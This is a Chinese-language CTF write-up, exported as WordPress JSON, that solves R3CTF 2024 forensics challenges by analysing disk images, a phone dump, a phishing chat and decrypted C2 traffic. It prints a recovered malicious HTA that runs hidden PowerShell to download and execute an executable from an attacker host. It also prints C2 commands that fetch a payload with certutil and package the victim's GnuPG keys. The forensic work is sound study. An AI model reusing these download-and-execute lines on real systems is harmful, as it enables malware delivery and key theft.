{"id":317,"date":"2024-06-10T15:42:02","date_gmt":"2024-06-10T07:42:02","guid":{"rendered":"https:\/\/zysgmzb.club\/?p=317"},"modified":"2024-06-10T16:01:21","modified_gmt":"2024-06-10T08:01:21","slug":"r3ctf2024-forensic%e4%b8%80%e7%82%b9%e7%82%b9wp","status":"publish","type":"post","link":"https:\/\/zysgmzb.club\/index.php\/archives\/317","title":{"rendered":"R3CTF2024 Forensics\u4e00\u70b9\u70b9WP"},"content":{"rendered":"<blockquote>\n<p>\u8fd9\u6b21\u6bd4\u8d5b\u62ff\u5230\u4e86\u6240\u6709\u88ab\u89e3\u51fa\u7684forensics\u9898\u76ee\u7684\u4e00\u8840\uff0c\u5f00\u5fc3\u4e86\uff0c\u53d1\u4e2awp<\/p>\n<\/blockquote>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/6666ae065e6d1bfa05009572.png\" alt=\"\" \/><\/p>\n<h2>TPA 01-\ud83c\udf10<\/h2>\n<p>14G\u5de8\u5927\u9644\u4ef6\uff0c\u8fd8\u597d\u7f51\u901f\u53ef\u4ee5 :p<\/p>\n<p>\u53d6\u8bc1\u5927\u5e08\u6253\u5f00\uff0c\u4e00\u773c\u5c31\u770b\u5230\u4e86\u91cc\u9762\u7684wsl<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/66658cbb5e6d1bfa05d033ad.png\" alt=\"\" \/><\/p>\n<p>\u601d\u8def\u4e00\u4e0b\u5c31\u6e05\u6670\u4e86\uff0c\u53bb\u627ewsl\u7684\u78c1\u76d8\u6587\u4ef6\u5c31\u597d\u4e86<\/p>\n<p>\u4f4d\u7f6e\u5982\u4e0b<\/p>\n<pre class=\"prettyprint linenums\" ><code>\u5206\u533a2_\u672c\u5730\u78c1\u76d8[D]:\\Users\\r3kapig\\AppData\\Local\\Packages\\CanonicalGroupLimited.Ubuntu_79rhkp1fndgsc\\LocalState\\ext4.vhdx<\/code><\/pre>\n<p>dump\u4e0b\u6765\u518d\u62d6\u8fdb\u53d6\u8bc1\u5927\u5e08\uff0c\u5f97\u5230\u6839\u76ee\u5f55\u4e0b\u7684F14G\u6587\u4ef6<\/p>\n<pre class=\"prettyprint linenums\" ><code>Hi players,welcome !\nOps,what&#039;s that?\n2d422fc7f2c628c55520984c0673964eb5454dea72f79b1022a34728294c5bf8\nI guess u need a key to decrypt it.\nSELECT something FROM somewhere with the windows10 lol~<\/code><\/pre>\n<p>\u770b\u5230\u6700\u540e\u4e00\u6bb5\u8bdd\u5c31\u77e5\u9053key\u53ef\u80fd\u5c31\u5728\u539f\u6765\u7684\u673a\u5668\u91cc\u9762\u7684mysql\u91cc\uff0c\u76f4\u63a5\u53bb\u627e<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/66658c9f5e6d1bfa05d01811.png\" alt=\"\" \/><\/p>\n<p>\u7136\u540e\u5c31\u53ef\u4ee5\u53d1\u73b0\u91cc\u9762\u7684jpg\u56fe\u7247\uff0c\u63d0\u53d6\u51fa\u6765\u5c31\u53ef\u4ee5\u770b\u89c1key\u4e86<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/66658ce95e6d1bfa05d05c9e.jpg\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u89e3\u5bc6\u5373\u53ef<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/66658d145e6d1bfa05d084c6.png\" alt=\"\" \/><\/p>\n<h2>TPA 02 - \ud83d\udcf1<\/h2>\n<p>\u6309\u7167\u9898\u76ee\u63cf\u8ff0\u5c31\u77e5\u9053\u6d41\u91cf\u5305\u91cc\u9762\u662f\u88ab\u9493\u9c7c\u65f6\u5019\u7684\u6d41\u91cf\uff0c\u76f4\u63a5\u7ffb\u5c31\u770b\u5230\u5bc6\u7801\u4e86<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/66658dda5e6d1bfa05d138a1.png\" alt=\"\" \/><\/p>\n<p>\u5bc6\u7801\u4e3a<\/p>\n<pre class=\"prettyprint linenums\" ><code>l0v3_aNd_peace<\/code><\/pre>\n<p>\u7136\u540e\u53bb\u624b\u673a\u91cc\u627e\u7535\u8bdd\u53f7\u7801\uff0c\u7531\u4e8e\u662f\u9493\u9c7c\uff0c\u5c31\u60f3\u5230\u4e86\u901a\u8baf\u5f55\u4e4b\u7c7b\u7684\u4e1c\u897f\uff0c\u4e8e\u662f\u76f4\u63a5\u5728Peggy\/data\/data\/com.android.providers.telephony\/databases\u91cc\u627e\u5230\u4e86\u4e24\u4e2a\u7535\u8bdd\u53f7\u7801\uff0c\u62fc\u8d77\u6765\u5c31\u884c<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/66658eab5e6d1bfa05d1f4cf.png\" alt=\"\" \/><\/p>\n<pre class=\"prettyprint linenums\" ><code>r3ctf{15555215558_l0v3_aNd_peace}<\/code><\/pre>\n<h2>TPA 03 - \ud83d\udcbb<\/h2>\n<p>\u7531\u4e8e\u624b\u673a\u91cc\u662f\u9493\u9c7c\uff0c\u4e8e\u662f\u53ef\u4ee5\u5728\u8fd9\u91cc\u7684\u7535\u8111\u91cc\u7ee7\u7eed\u641c\u7d22\u9493\u9c7c\u7684\u75d5\u8ff9\uff0c\u53ef\u4ee5\u53d1\u73b0\u770b\u8fc7\u8fd9\u6837\u4e00\u4e2a\u7f51\u9875<\/p>\n<pre class=\"prettyprint linenums\" ><code>C_Users_TPA\/TPA\/AppData\/Local\/Microsoft\/Windows\/INetCache\/IE\/ZMSHFBYP\/temp[1].hta<\/code><\/pre>\n<p>\u5185\u5bb9\u5982\u4e0b<\/p>\n<pre class=\"prettyprint linenums\" ><code>&lt;script language=&quot;VBScript&quot;&gt;\n    Function var_func()\n        Dim open_pdf\n            Set open_pdf = CreateObject(&quot;Wscript.Shell&quot;)\n            open_pdf.run &quot;powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile(&#039;http:\/\/192.168.30.1:8088\/duanwufangjia.pdf&#039;,$env:temp+&#039;\/duanwufangjia.pdf&#039;);Start-Process $env:temp&#039;\/duanwufangjia.pdf&#039;&quot;, 0, true\n        Dim hta\n        Set var_hta = CreateObject(&quot;Wscript.Shell&quot;)\n        var_hta.run &quot;powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile(&#039;http:\/\/192.168.30.1:8088\/hhh.exe&#039;,$env:temp+&#039;\/hhh.exe&#039;);Start-Process $env:temp&#039;\/hhh.exe&#039;&quot;, 0, true\n    End Function\n\n    var_func\n    self.close\n&lt;\/script&gt;<\/code><\/pre>\n<p>\u53ef\u4ee5\u770b\u5230\u4e0b\u8f7d\u4e86duanwufangjia.pdf\u548chhh.exe\uff0c\u5e76\u4e14\u90fd\u653e\u5728\u4e86temp\u91cc\u9762\uff0c\u76f4\u63a5\u53bb\u627e\u5c31\u53ef\u4ee5<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/66658fdc5e6d1bfa05d30a04.png\" alt=\"\" \/><\/p>\n<p>\u540c\u65f6\u5728\u684c\u9762\u4e0a\u53ef\u4ee5\u53d1\u73b0Gajim.lnk\uff0c\u8fd9\u662f\u4e00\u6b3e\u901a\u4fe1\u8f6f\u4ef6\uff0c\u5219\u731c\u6d4b\u5728\u8fd9\u91cc\u5b9e\u65bd\u4e86\u9493\u9c7c\uff0c\u4e8e\u662f\u53bb\u627e\u4ed6\u6570\u636e\u5e93\uff0c\u5728C_Users_TPA\/TPA\/AppData\/Roaming\/Gajim\/Logs.db<\/p>\n<p>\u91cc\u9762\u5c31\u6709\u804a\u5929\u8bb0\u5f55\uff0c\u5982\u4e0b<\/p>\n<pre class=\"prettyprint linenums\" ><code>\u5c0f T\uff0c\u628a flag \u53d1\u7ed9\u6211\u4e00\u4e0b\uff0c\u8bb0\u5f97\u52a0\u5bc6\u3002\n\n-----BEGIN PGP MESSAGE-----\n\nhF4DQOZFkOnTo78SAQdAaOkhX64uECdRxqrvFjUAgGkefY\/lVoFp2rnn7I9lKwcw\n5LN5bO2Y0PDbp8vkHMIWh4HAgERjvBkdBATFW3pFIZWB7JjNxJd0+vO0ENVUV8XG\n1MAhAQkCEGBAK0C+LBjxWsPdHPKhFyNzJPC\/tDGAbTB5sB8bb\/VLmToqPIbRfEli\nXhf6uZ7CDWMkyVWQQKwoyUIprDBUguKx4\/smci99rLKbVeStKK\/7j5ZyJAHc4lqK\ndhxAHTurzQsgR+yhDOVCiA\/vIkfMBxFb7rwBXPNgJbv5lFMuqFbIjR4Btw3BbY90\n1fG4SF69fljKrW3KdM1zyLWODxio682rCxc4OjViKaEZpE7680WApOhDGmIPy4SP\nzJU+s6U9LMvNIgGCJAE7SWrexssYhsqx4cuVK0R\/VVck4pgy\n=YxnN\n-----END PGP MESSAGE-----\n\n\u8bf7\u67e5\u6536\u7aef\u5348\u8282\u653e\u5047\u5b89\u6392\u3002\n\nhttp:\/\/192.168.30.1:8088\/%E7%AB%AF%E5%8D%88%E8%8A%82%E6%94%BE%E5%81%87%E5%AE%89%E6%8E%92.pdf.lnk\n\n\u600e\u4e48\u6253\u4e0d\u5f00\uff1f\n\n\u5f88\u62b1\u6b49\uff0c\u5148\u524d\u4e0b\u53d1\u7684\u6587\u4ef6\u635f\u574f\uff0c\u65b0\u6587\u4ef6\u89c1 http:\/\/192.168.30.1:8088\/%E7%AB%AF%E5%8D%88%E8%8A%82%E6%94%BE%E5%81%87%E5%AE%89%E6%8E%92.zip\n\n\u8bf7\u67e5\u6536\u7aef\u5348\u8282\u653e\u5047\u5b89\u6392\u3002\n\nhttp:\/\/192.168.30.1:8088\/%E7%AB%AF%E5%8D%88%E8%8A%82%E6%94%BE%E5%81%87%E5%AE%89%E6%8E%92.zip<\/code><\/pre>\n<p>\u5f88\u660e\u663e\u5c31\u662f\u5728\u8fd9\u91cc\u5b9e\u65bd\u7684\u9493\u9c7c\u5e76\u4e0b\u8f7d\u4e86hhh.exe<\/p>\n<p>\u7136\u540e\u5c31\u662f\u5bf9\u4e8ehhh.exe\u7684\u9006\u5411\u4e86\uff0c\u8fd9\u91cc\u4f7f\u7528dnspy\u76f4\u63a5\u6253\u5f00\u4f1a\u53d1\u73b0\u539f\u6587\u4ef6\u7ecf\u8fc7\u4e86\u6df7\u6dc6<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/666590215e6d1bfa05d3493f.png\" alt=\"\" \/><\/p>\n<p>\u4f7f\u7528github\u4e0a\u7684\u9879\u76eede4dot-cex\u5373\u53ef\u53bb\u9664\u6df7\u6dc6\uff0c\u5f97\u5230\u5927\u81f4\u7684\u903b\u8f91<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/6665912f5e6d1bfa05d45197.png\" alt=\"\" \/><\/p>\n<p>Class1\u91cc\u9762\u6709c2\u901a\u4fe1\u7684\u903b\u8f91\uff0cGClass0\u662f\u4e00\u4e9b\u914d\u7f6e\u4fe1\u606f\uff0cGCLass1\u91cc\u9762\u6709\u4e24\u4e2a\u5f88\u5927\u7684buffer<\/p>\n<p>\u5148\u770b\u8fd9\u4e24\u4e2a\u5927buffer\uff0c\u6839\u636e\u903b\u8f91<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/666592065e6d1bfa05d51cf8.png\" alt=\"\" \/><\/p>\n<p>\u5168\u90e8\u63d0\u53d6\u51fa\u6765\u540e\u653e\u8fdbcyberchef\u5c31\u53ef\u4ee5\u89e3\u538b\u7f29\uff0c\u51fa\u6765\u662f\u4e24\u4e2adll<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/666663a85e6d1bfa05947076.png\" alt=\"\" \/><\/p>\n<p>\u4e00\u4e2a\u662fPacketLib\u4e00\u4e2a\u662foffline<\/p>\n<p>\u7136\u540e\u770bClass1\u91cc\u9762\u7684\u901a\u4fe1\u903b\u8f91<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/666592be5e6d1bfa05d5c9b3.png\" alt=\"\" \/><\/p>\n<p>\u5176\u5b9e\u5c31\u662f\u5c06payload\u7ecf\u8fc7PacketLib\u91cc\u9762\u7684\u5e8f\u5217\u5316\u65b9\u6cd5\u5e8f\u5217\u5316\u4e4b\u540e\u518d\u628a\u957f\u5ea6\u6dfb\u52a0\u5230\u524d\u9762\u7136\u540e\u76f4\u63a5\u53d1\u9001\u51fa\u53bb\uff0c\u4e8e\u662f\u53bb\u770b\u4e4b\u524d\u63d0\u53d6\u51fa\u6765\u7684PacketLib.dll\u91cc\u9762\u5e8f\u5217\u5316\u7684\u903b\u8f91<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/666592cf5e6d1bfa05d5db52.png\" alt=\"\" \/><\/p>\n<p>\u903b\u8f91\u5c31\u662f\u7ecf\u8fc7\u4e86\u4e00\u4e2aQuickLZ\u538b\u7f29\u4e4b\u540e\u4f7f\u7528RSMEncrypt\u53bb\u52a0\u5bc6\uff0c\u7ee7\u7eed\u6df1\u5165\uff0c\u67e5\u770bRSMEncrypt<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/666593185e6d1bfa05d61f6b.png\" alt=\"\" \/><\/p>\n<p>\u8fd9\u91cc\u5c31\u5f88\u660e\u4e86\u4e86\uff0c\u4f7f\u7528\u8f93\u5165\u7684key\u548c8\u4f4d\\x00\u7684salt\u8fdb\u884c\u5bc6\u94a5\u6d3e\u751f\u5f97\u5230\u4e86key\u548civ\u5e76\u5c06\u5176\u8fd0\u7528\u4e8eaescbc\u52a0\u5bc6\uff0c\u6700\u540e\u628a16\u5b57\u8282\u7684guid\u653e\u524d\u9762<\/p>\n<p>\u5bc6\u94a5\u6d3e\u751f\u7684\u8fc7\u7a0b\uff0c\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528python\uff0csalt\u4e3a\\x00*8\uff0ckey\u5219\u662fGClass0.string_0\u7ecf\u8fc7\u4e86Encoding.Unicode.GetBytes\u5904\u7406\uff0cGClass0.string_0\u53ef\u4ee5\u76f4\u63a5\u770b\u5230\u662f123456789<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/666593bf5e6d1bfa05d6b189.png\" alt=\"\" \/><\/p>\n<p>\u5c06\u5176\u8f6c\u53d8\u4e3aUTF-16\u7f16\u7801\uff0c\u5373\u6bcf\u4e2a\u540e\u9762\u52a0\u4e2a\\x00<\/p>\n<p>\u7136\u540e\u7528\u811a\u672c\u8fdb\u884c\u5bc6\u94a5\u6d3e\u751f\u5f97\u5230key\u548civ<\/p>\n<pre class=\"prettyprint linenums\" ><code>from Crypto.Cipher import AES\nfrom Crypto.Protocol import KDF\n\nsalt = b&quot;\\x00&quot;*8\nkey = bytes.fromhex(&quot;310032003300340035003600370038003900&quot;)\nkey_bytes = KDF.PBKDF2(key, salt, dkLen=32, count=1)\nprint(&quot;key: &quot;, key_bytes[:16].hex())\nprint(&quot;iv: &quot;, key_bytes[16:].hex())<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/666594995e6d1bfa05d77b92.png\" alt=\"\" \/><\/p>\n<p>\u7136\u540e\u5bf9\u4e00\u5f00\u59cb\u7684document\u6587\u4ef6\u5939\u91cc\u9762\u7684DFIR.pcapng\u91cc\u7684\u901a\u4fe1\u6d41\u91cf\u8fdb\u884c\u89e3\u5bc6\uff0c\u901a\u4fe1\u7aef\u53e3\u4e3aGClass0\u91cc\u76849875\uff0c\u5148\u770btcp.stream eq 0<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/666663b95e6d1bfa05947f4e.png\" alt=\"\" \/><\/p>\n<p>\u5bf9\u4e0a\u9762\u4e00\u90e8\u5206\u8fdb\u884c\u89e3\u5bc6\uff0c\u524d\u51e0\u4e2a\u662f\u957f\u5ea6\u548c\u7c7b\u578b\uff0c\u53bb\u6389\u5373\u53ef<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/666663c85e6d1bfa05948b76.png\" alt=\"\" \/><\/p>\n<p>\u53ef\u4ee5\u770b\u5230\u5df2\u7ecf\u521d\u5177\u96cf\u5f62\uff0c\u4f46\u662f\u8fd8\u4e0d\u591f\uff0c\u56e0\u4e3a\u8fd8\u6709\u4e00\u9053QuickLZ\uff0c\u8fd9\u91cc\u627e\u4e86\u597d\u4e45\u4e5f\u6ca1\u6709\u627e\u5230\u5408\u9002\u7684python\u5b9e\u73b0\uff0c\u4e8e\u662f\u76f4\u63a5\u590d\u5236\u4e86PacketLib.dll\u91cc\u7684\u89e3\u538b\u7f29\u51fd\u6570<\/p>\n<pre class=\"prettyprint linenums\" ><code>using System;\nusing System.IO;\nusing System.Reflection;\nusing System.Text;\n\nclass Program\n{\n    public static byte[] Decompress(byte[] source)\n    {\n        int num = xxx;\n        int num2 = 9;\n        int i = 0;\n        uint num3 = 1U;\n        byte[] array = new byte[num];\n        int[] array2 = new int[4096];\n        byte[] array3 = new byte[4096];\n        int num4 = num - 6 - 4 - 1;\n        int j = -1;\n        uint num5 = 0U;\n        int num6 = source[0] &gt;&gt; 2 &amp; 3;\n        if (num6 != 1 &amp;&amp; num6 != 3)\n        {\n            throw new ArgumentException(&quot;C# version only supports level 1 and 3&quot;);\n        }\n        if ((source[0] &amp; 1) != 1)\n        {\n            byte[] array4 = new byte[num];\n            Array.Copy(source, 9, array4, 0, num);\n            return array4;\n        }\n        for (; ; )\n        {\n            if (num3 == 1U)\n            {\n                num3 = (uint)((int)source[num2] | (int)source[num2 + 1] &lt;&lt; 8 | (int)source[num2 + 2] &lt;&lt; 16 | (int)source[num2 + 3] &lt;&lt; 24);\n                num2 += 4;\n                if (i &lt;= num4)\n                {\n                    if (num6 == 1)\n                    {\n                        num5 = (uint)((int)source[num2] | (int)source[num2 + 1] &lt;&lt; 8 | (int)source[num2 + 2] &lt;&lt; 16);\n                    }\n                    else\n                    {\n                        num5 = (uint)((int)source[num2] | (int)source[num2 + 1] &lt;&lt; 8 | (int)source[num2 + 2] &lt;&lt; 16 | (int)source[num2 + 3] &lt;&lt; 24);\n                    }\n                }\n            }\n            if ((num3 &amp; 1U) == 1U)\n            {\n                num3 &gt;&gt;= 1;\n                uint num8;\n                uint num9;\n                if (num6 == 1)\n                {\n                    int num7 = (int)num5 &gt;&gt; 4 &amp; 4095;\n                    num8 = (uint)array2[num7];\n                    if ((num5 &amp; 15U) != 0U)\n                    {\n                        num9 = (num5 &amp; 15U) + 2U;\n                        num2 += 2;\n                    }\n                    else\n                    {\n                        num9 = (uint)source[num2 + 2];\n                        num2 += 3;\n                    }\n                }\n                else\n                {\n                    uint num10;\n                    if ((num5 &amp; 3U) == 0U)\n                    {\n                        num10 = (num5 &amp; 255U) &gt;&gt; 2;\n                        num9 = 3U;\n                        num2++;\n                    }\n                    else if ((num5 &amp; 2U) == 0U)\n                    {\n                        num10 = (num5 &amp; 65535U) &gt;&gt; 2;\n                        num9 = 3U;\n                        num2 += 2;\n                    }\n                    else if ((num5 &amp; 1U) == 0U)\n                    {\n                        num10 = (num5 &amp; 65535U) &gt;&gt; 6;\n                        num9 = (num5 &gt;&gt; 2 &amp; 15U) + 3U;\n                        num2 += 2;\n                    }\n                    else if ((num5 &amp; 127U) != 3U)\n                    {\n                        num10 = (num5 &gt;&gt; 7 &amp; 131071U);\n                        num9 = (num5 &gt;&gt; 2 &amp; 31U) + 2U;\n                        num2 += 3;\n                    }\n                    else\n                    {\n                        num10 = num5 &gt;&gt; 15;\n                        num9 = (num5 &gt;&gt; 7 &amp; 255U) + 3U;\n                        num2 += 4;\n                    }\n                    num8 = (uint)((long)i - (long)((ulong)num10));\n                }\n                array[i] = array[(int)num8];\n                array[i + 1] = array[(int)(num8 + 1U)];\n                array[i + 2] = array[(int)(num8 + 2U)];\n                int num11 = 3;\n                while ((long)num11 &lt; (long)((ulong)num9))\n                {\n                    array[i + num11] = array[(int)(checked((IntPtr)(unchecked((ulong)num8 + (ulong)((long)num11)))))];\n                    num11++;\n                }\n                i += (int)num9;\n                if (num6 == 1)\n                {\n                    num5 = (uint)((int)array[j + 1] | (int)array[j + 2] &lt;&lt; 8 | (int)array[j + 3] &lt;&lt; 16);\n                    while ((long)j &lt; (long)i - (long)((ulong)num9))\n                    {\n                        j++;\n                        int num7 = (int)((num5 &gt;&gt; 12 ^ num5) &amp; 4095U);\n                        array2[num7] = j;\n                        array3[num7] = 1;\n                        num5 = (uint)((ulong)(num5 &gt;&gt; 8 &amp; 65535U) | (ulong)((long)((long)array[j + 3] &lt;&lt; 16)));\n                    }\n                    num5 = (uint)((int)source[num2] | (int)source[num2 + 1] &lt;&lt; 8 | (int)source[num2 + 2] &lt;&lt; 16);\n                }\n                else\n                {\n                    num5 = (uint)((int)source[num2] | (int)source[num2 + 1] &lt;&lt; 8 | (int)source[num2 + 2] &lt;&lt; 16 | (int)source[num2 + 3] &lt;&lt; 24);\n                }\n                j = i - 1;\n            }\n            else\n            {\n                if (i &gt; num4)\n                {\n                    break;\n                }\n                array[i] = source[num2];\n                i++;\n                num2++;\n                num3 &gt;&gt;= 1;\n                if (num6 == 1)\n                {\n                    while (j &lt; i - 3)\n                    {\n                        j++;\n                        int num12 = (int)array[j] | (int)array[j + 1] &lt;&lt; 8 | (int)array[j + 2] &lt;&lt; 16;\n                        int num7 = (num12 &gt;&gt; 12 ^ num12) &amp; 4095;\n                        array2[num7] = j;\n                        array3[num7] = 1;\n                    }\n                    num5 = (uint)((ulong)(num5 &gt;&gt; 8 &amp; 65535U) | (ulong)((long)((long)source[num2 + 2] &lt;&lt; 16)));\n                }\n                else\n                {\n                    num5 = (uint)((ulong)(num5 &gt;&gt; 8 &amp; 65535U) | (ulong)((long)((long)source[num2 + 2] &lt;&lt; 16)) | (ulong)((long)((long)source[num2 + 3] &lt;&lt; 24)));\n                }\n            }\n        }\n        while (i &lt;= num - 1)\n        {\n            if (num3 == 1U)\n            {\n                num2 += 4;\n                num3 = 2147483648U;\n            }\n            array[i] = source[num2];\n            i++;\n            num2++;\n            num3 &gt;&gt;= 1;\n        }\n        return array;\n    }\n    static void Main(string[] args)\n    {\n\n        byte[] compressedData = { };\n        byte[] result = Decompress(compressedData);\n        string res = string.Join(&quot;&quot;, result.Select(b =&gt; b.ToString(&quot;X2&quot;)));\n        Console.WriteLine(Encoding.UTF8.GetString(result));\n        Console.WriteLine(res);\n    }\n}<\/code><\/pre>\n<p>\u9700\u8981\u4fee\u6539\u7684\u5206\u522b\u662f\u7b2c\u5341\u884c\u7684\u957f\u5ea6\u548c178\u884c\u7684\u538b\u7f29\u540e\u7684payload<\/p>\n<p>\u957f\u5ea6\u5f88\u597d\u770b\uff0c\u5373\u89e3\u5bc6\u540epayload\u53bb\u9664\u5f00\u5934\u768416\u5b57\u8282guid\u540e\u7684\u7b2c\u516d\u4f4d\u5f80\u540e\u56db\u4e2a\uff0c\u5c0f\u7aef\u5e8f<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/666596335e6d1bfa05d90a19.png\" alt=\"\" \/><\/p>\n<p>\u7136\u540e\u76f4\u63a5\u8f6c\u621010\u8fdb\u5236\u6570\u7ec4\u653e\u8fdb\u4ee3\u7801\u91cc\u89e3\u5bc6\u5c31\u53ef\u4ee5\u4e86<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/6665968b5e6d1bfa05d95e22.png\" alt=\"\" \/><\/p>\n<p>\u8fd9\u6837\u5c31\u89e3\u5bc6\u51fa\u4e86c2\u7684\u901a\u4fe1\u5185\u5bb9\uff0c\u65b9\u4fbf\u8d77\u89c1\uff0c\u8fd9\u91cc\u4e0d\u5728\u8d34\u51fa\u540e\u9762\u547d\u4ee4\u7684\u622a\u56fe\u4e86\uff0c\u76f4\u63a5\u7ed9<\/p>\n<pre class=\"prettyprint linenums\" ><code>dir\n&quot;C:\\Program Files\\7-Zip\\7z.exe&quot; a gnupg.zip gnupg\ncd C:\\Users\\TPA\\Documents\ncertutil.exe -urlcache -split -f http:\/\/192.168.30.1:8088\/sy5tem.exe\nsy5tem.exe<\/code><\/pre>\n<p>\u53ef\u4ee5\u53d1\u73b0\u628agnupg\u6253\u4e86\u4e2a\u5305\uff0c\u4e8e\u662f\u5728\u6d41\u91cf\u91cc\u627e\u5230\u5b83\u5e76\u89e3\u5bc6\uff0c\u5728tcp.stream eq 15<\/p>\n<p>\u89e3\u5bc6\u7ed3\u679c\u5982\u4e0b\uff0c\u53ef\u4ee5\u6e05\u6670\u770b\u5230\u8fd9\u662f\u4e2azip\u538b\u7f29\u5305<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/666599de5e6d1bfa05dcd5aa.png\" alt=\"\" \/><\/p>\n<p>\u89e3\u538b\u5373\u53ef\u5f97\u5230\u88ab\u5220\u9664\u7684gnupg\u6587\u4ef6\u5939\u91cc\u9762\u539f\u672c\u7684\u5185\u5bb9\uff0c\u76f4\u63a5\u7528\u8fd9\u4e2a\u6587\u4ef6\u5939\u5c06\u672c\u5730\u7684gnupg\u6587\u4ef6\u5939\u8986\u76d6\u5373\u53ef\u8bfb\u5230\u91cc\u9762\u7684\u79c1\u94a5<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/66659a155e6d1bfa05dd0305.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u89e3\u5bc6\u5148\u524d\u7684pgp message\u5373\u53ef<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/66659a375e6d1bfa05dd2236.png\" alt=\"\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u8fd9\u6b21\u6bd4\u8d5b\u62ff\u5230\u4e86\u6240\u6709\u88ab\u89e3\u51fa\u7684forensics\u9898\u76ee\u7684\u4e00\u8840\uff0c\u5f00\u5fc3\u4e86\uff0c\u53d1\u4e2awp TPA 01-\ud83c\udf10 14G\u5de8\u5927\u9644\u4ef6\uff0c\u8fd8\u597d\u7f51\u901f\u53ef\u4ee5 :p \u53d6\u8bc1\u5927\u5e08\u6253\u5f00\uff0c\u4e00\u773c\u5c31\u770b\u5230\u4e86\u91cc\u9762\u7684wsl \u601d\u8def\u4e00\u4e0b\u5c31\u6e05\u6670\u4e86\uff0c\u53bb\u627ewsl\u7684\u78c1\u76d8\u6587\u4ef6\u5c31\u597d\u4e86 \u4f4d\u7f6e\u5982\u4e0b \u5206\u533a2_\u672c\u5730\u78c1\u76d8[D]:\\Users\\r3kapig\\AppData\\Local\\Packages\\CanonicalGroupLimited.Ubuntu_79rhkp1fn [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-317","post","type-post","status-publish","format-standard","hentry","category-wp"],"_links":{"self":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/317","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/comments?post=317"}],"version-history":[{"count":2,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/317\/revisions"}],"predecessor-version":[{"id":319,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/317\/revisions\/319"}],"wp:attachment":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/media?parent=317"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/categories?post=317"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/tags?post=317"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}